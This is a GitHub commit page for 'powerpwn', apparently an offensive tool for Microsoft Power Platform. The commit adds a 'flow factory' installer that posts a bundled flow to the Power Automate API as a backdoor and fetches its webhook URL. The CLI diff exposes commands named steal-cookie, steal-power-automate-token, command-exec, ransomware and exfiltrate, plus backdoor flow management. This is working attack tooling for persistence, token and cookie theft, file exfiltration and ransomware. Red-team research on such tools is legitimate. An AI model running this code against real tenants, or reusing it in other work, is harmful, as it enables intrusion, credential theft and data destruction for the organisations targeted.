Skip to content

Commit

Permalink
Merge pull request #16 from mbrg/feature/add_dump
Browse files Browse the repository at this point in the history
add flow factory installer
  • Loading branch information
lanasalameh1 committed Jul 27, 2023
2 parents e9741a9 + df3e758 commit d23ce8e
Show file tree
Hide file tree
Showing 5 changed files with 502 additions and 30 deletions.
4 changes: 3 additions & 1 deletion setup.cfg
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,9 @@ packages = find:
where = src

[options.package_data]
powerpwn = powerdump/gui/templates/*.html
powerpwn =
powerdump/gui/templates/*.html
powerdoor/samples/flow_factory_to_install.json

python_requires = >=3.6,<=3.8.10

Expand Down
70 changes: 42 additions & 28 deletions src/powerpwn/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
from powerpwn.machinepwn.machine_pwn import MachinePwn
from powerpwn.powerdoor.backdoor_flow import BackdoorFlow
from powerpwn.powerdoor.enums.action_type import ActionType
from powerpwn.powerdoor.flow_factory_installer import FlowFlowInstaller
from powerpwn.powerdump.collect.data_collectors.data_collector import DataCollector
from powerpwn.powerdump.collect.resources_collectors.resources_collector import ResourcesCollector
from powerpwn.powerdump.gui.gui import Gui
Expand All @@ -21,14 +22,14 @@
logger = logging.getLogger(LOGGER_NAME)


def register_gui_parser(sub_parser: argparse.ArgumentParser) -> None:
gui_parser = sub_parser.add_parser("gui", description="Show collected resources and data.", help="Show collected resources and data via GUI.") # type: ignore[attr-defined]
def register_gui_parser(sub_parser: argparse.ArgumentParser):
gui_parser = sub_parser.add_parser("gui", description="Show collected resources and data.", help="Show collected resources and data via GUI.")
gui_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.")
gui_parser.add_argument("--cache-path", default=CACHE_PATH, type=str, help="Path to cached resources.")


def register_collect_parser(sub_parser: argparse.ArgumentParser) -> None:
explore_parser = sub_parser.add_parser( # type: ignore[attr-defined]
def register_collect_parser(sub_parser: argparse.ArgumentParser):
explore_parser = sub_parser.add_parser(
"dump", description="Collect all available data in tenant", help="Get all available resources in tenant and dump data."
)
explore_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.")
Expand All @@ -38,50 +39,50 @@ def register_collect_parser(sub_parser: argparse.ArgumentParser) -> None:
explore_parser.add_argument("-g", "--gui", action="store_true", help="Run local server for gui.")


def register_machine_pwn_common_args(sub_parser: argparse.ArgumentParser) -> None:
def register_machine_pwn_common_args(sub_parser: argparse.ArgumentParser):
sub_parser.add_argument("-w", "--webhook-url", required=True, type=str, help="Webhook url to the flow factory installed in powerplatform")
sub_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.")


def register_backdoor_flow_common_args(sub_parser: argparse.ArgumentParser) -> None:
def register_backdoor_flow_common_args(sub_parser: argparse.ArgumentParser):
sub_parser.add_argument("-w", "--webhook-url", required=True, type=str, help="Webhook url to the flow factory installed in powerplatform")
sub_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.")
sub_parser.add_argument("-e", "--environment-id", required=True, type=str, help="Environment id in powerplatform.")


def register_exec_parsers(command_subparsers: argparse.ArgumentParser) -> None:
steal_fqdn_parser = command_subparsers.add_parser("steal-cookie", description="Steal cookie of fqdn") # type: ignore[attr-defined]
def register_exec_parsers(command_subparsers: argparse.ArgumentParser):
steal_fqdn_parser = command_subparsers.add_parser("steal-cookie", description="Steal cookie of fqdn")
register_steal_fqdn_cookie_parser(steal_fqdn_parser)

steal_power_automate_token_parser = command_subparsers.add_parser("steal-power-automate-token", description="Steal power automate token") # type: ignore[attr-defined]
steal_power_automate_token_parser = command_subparsers.add_parser("steal-power-automate-token", description="Steal power automate token")
register_machine_pwn_common_args(steal_power_automate_token_parser)

execute_command_parser = command_subparsers.add_parser("command-exec", description="Execute command on machine") # type: ignore[attr-defined]
execute_command_parser = command_subparsers.add_parser("command-exec", description="Execute command on machine")
register_exec_command_parser(execute_command_parser)

ransomware_parser = command_subparsers.add_parser("ransomware", description="Ransomware") # type: ignore[attr-defined]
ransomware_parser = command_subparsers.add_parser("ransomware", description="Ransomware")
register_ransomware_parser(ransomware_parser)

exflirtate_file_parser = command_subparsers.add_parser("exflirtate", description="Exflirtate file") # type: ignore[attr-defined]
exflirtate_file_parser = command_subparsers.add_parser("exflirtate", description="Exflirtate file")
register_exflirtate_file_parser(exflirtate_file_parser)

cleanup_parser = command_subparsers.add_parser("cleanup", description="Cleanup") # type: ignore[attr-defined]
cleanup_parser = command_subparsers.add_parser("cleanup", description="Cleanup")
register_machine_pwn_common_args(cleanup_parser)


## machine pwn parsers ##
def register_steal_fqdn_cookie_parser(sub_parser: argparse.ArgumentParser) -> None:
def register_steal_fqdn_cookie_parser(sub_parser: argparse.ArgumentParser):
register_machine_pwn_common_args(sub_parser)
sub_parser.add_argument("-fqdn", "--cookie", required=True, type=str, help="Fully qualified domain name to fetch the cookies of")


def register_exec_command_parser(sub_parser: argparse.ArgumentParser) -> None:
def register_exec_command_parser(sub_parser: argparse.ArgumentParser):
register_machine_pwn_common_args(sub_parser)
sub_parser.add_argument("-t", "--type", required=True, type=str, choices=[cmd_type.value for cmd_type in CodeExecTypeEnum], help="Command type")
sub_parser.add_argument("-c", "--command-to-execute", required=True, type=str, help="Command to execute")


def register_ransomware_parser(sub_parser: argparse.ArgumentParser) -> None:
def register_ransomware_parser(sub_parser: argparse.ArgumentParser):
register_machine_pwn_common_args(sub_parser)
sub_parser.add_argument("--crawl_depth", required=True, type=str, help="Recursively search into subdirectories this many times")
sub_parser.add_argument("-k", "--encryption-key", required=True, type=str, help="an encryption key used to encrypt each file identified (AES256)")
Expand All @@ -90,17 +91,17 @@ def register_ransomware_parser(sub_parser: argparse.ArgumentParser) -> None:
)


def register_exflirtate_file_parser(sub_parser: argparse.ArgumentParser) -> None:
def register_exflirtate_file_parser(sub_parser: argparse.ArgumentParser):
register_machine_pwn_common_args(sub_parser)
sub_parser.add_argument("-f", "--file", required=True, type=str, help="Absolute path to file")


def parse_arguments() -> argparse.Namespace:
def parse_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.")
command_subparsers = parser.add_subparsers(help="command", dest="command")
register_collect_parser(command_subparsers) # type: ignore[arg-type]
register_gui_parser(command_subparsers) # type: ignore[arg-type]
register_collect_parser(command_subparsers)
register_gui_parser(command_subparsers)

## Delete Flow parser ##
delete_flow_parser = command_subparsers.add_parser("delete-flow", description="Deletes flow.", help="Deletes flow using installed backdoor flow.")
Expand All @@ -121,21 +122,30 @@ def parse_arguments() -> argparse.Namespace:
register_backdoor_flow_common_args(get_connections_parser)
get_connections_parser.add_argument("-o", "--output", type=str, default="", help="Path to output file.")

register_exec_parsers(command_subparsers) # type: ignore[arg-type]
## backdoor installer parser ##
installer = command_subparsers.add_parser(
"install-flow-factory", description="Install flow factory", help="Installs flow factory in powerplatform"
)
installer.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.")
installer.add_argument("-e", "--environment-id", required=True, type=str, help="Environment id in powerplatform.")
installer.add_argument("-c", "--connection-id", required=True, type=str, help="The connection id of management connection")
installer.add_argument("-t", "--tenant", required=False, type=str, help="Tenant id to connect.")

register_exec_parsers(command_subparsers)
args = parser.parse_args()

return args


def __init_command_token(args: argparse.Namespace, scope: str) -> str:
def __init_command_token(args, scope: str) -> str:
# if cached refresh token is found, use it
if token := acquire_token_from_cached_refresh_token(scope, args.tenant):
return token

return acquire_token(scope=scope, tenant=args.tenant)


def run_collect_resources_command(args: argparse.Namespace) -> None:
def run_collect_resources_command(args):
# cache
if args.clear_cache:
try:
Expand All @@ -150,16 +160,16 @@ def run_collect_resources_command(args: argparse.Namespace) -> None:
entities_fetcher.collect_and_cache()


def run_gui_command(args: argparse.Namespace) -> None:
def run_gui_command(args):
Gui().run(cache_path=args.cache_path)


def run_collect_data_command(args: argparse.Namespace) -> None:
def run_collect_data_command(args):
token = __init_command_token(args, API_HUB_SCOPE)
DataCollector(token=token, cache_path=args.cache_path).collect()


def run_backdoor_flow_command(args: argparse.Namespace) -> None:
def run_backdoor_flow_command(args):
action_type = ActionType(args.command)
backdoor_flow = BackdoorFlow(args.webhook_url)
if action_type == ActionType.delete_flow:
Expand All @@ -178,7 +188,7 @@ def run_backdoor_flow_command(args: argparse.Namespace) -> None:
logger.info(connections)


def run_machine_pwn_command(args: argparse.Namespace) -> None:
def run_machine_pwn_command(args):
command_type = CommandToRunEnum(args.command)
machine_pwn = MachinePwn(args.webhook_url)
if command_type == CommandToRunEnum.CLEANUP:
Expand All @@ -196,7 +206,7 @@ def run_machine_pwn_command(args: argparse.Namespace) -> None:
print(res)


def main() -> None:
def main():
print("\n\n------------------------------------------------------------")
tprint("powerpwn")
print("------------------------------------------------------------\n\n")
Expand All @@ -221,6 +231,10 @@ def main() -> None:
elif command in [action_type.value for action_type in ActionType]:
run_backdoor_flow_command(args)

elif command == "install-flow-factory":
token = __init_command_token(args, POWER_APPS_SCOPE)
FlowFlowInstaller(token).install(args.environment_id, args.connection_id)

elif command in [cmd_type.value for cmd_type in CommandToRunEnum]:
run_machine_pwn_command(args)

Expand Down
38 changes: 38 additions & 0 deletions src/powerpwn/powerdoor/flow_factory_installer.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
import json
import logging
import os
import pathlib

from powerpwn.const import LOGGER_NAME
from powerpwn.powerdump.utils.requests_wrapper import init_session

logger = logging.getLogger(LOGGER_NAME)


class FlowFlowInstaller:
def __init__(self, token: str):
self.__session = init_session(token=token)

def install(self, environment_id: str, connection_id: str) -> None:
path = os.path.join(pathlib.Path(__file__).parent.resolve(), "samples", "flow_factory_to_install.json")
with open(path) as f:
flow_definition = json.load(f)
flow_definition["properties"]["connectionReferences"]["shared_flowmanagement"]["connectionName"] = connection_id

result = self.__session.post(
f"https://emea.api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{environment_id}/flows?api-version=2016-11-01",
json=flow_definition,
)
if result.status_code == 201:
res_json = json.loads(result.text)
logger.info(f'Flow installed successfully. Flow id{res_json["id"]}')
logger.info("Getting flow webhook url...")
flow_name = res_json["name"]
result = self.__session.post(
f"https://emea.api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{environment_id}/flows/{flow_name}/triggers/manual/listCallbackUrl?api-version=2016-11-01"
)
if result.status_code == 200:
webhook_url = json.loads(result.text)["response"]["value"]
logger.info(f"Webhook url is: {webhook_url}")
else:
logger.warning(f"Something wen wrong. status code: {result.status_code}, text: {result.text}")
Loading

0 comments on commit d23ce8e

Please sign in to comment.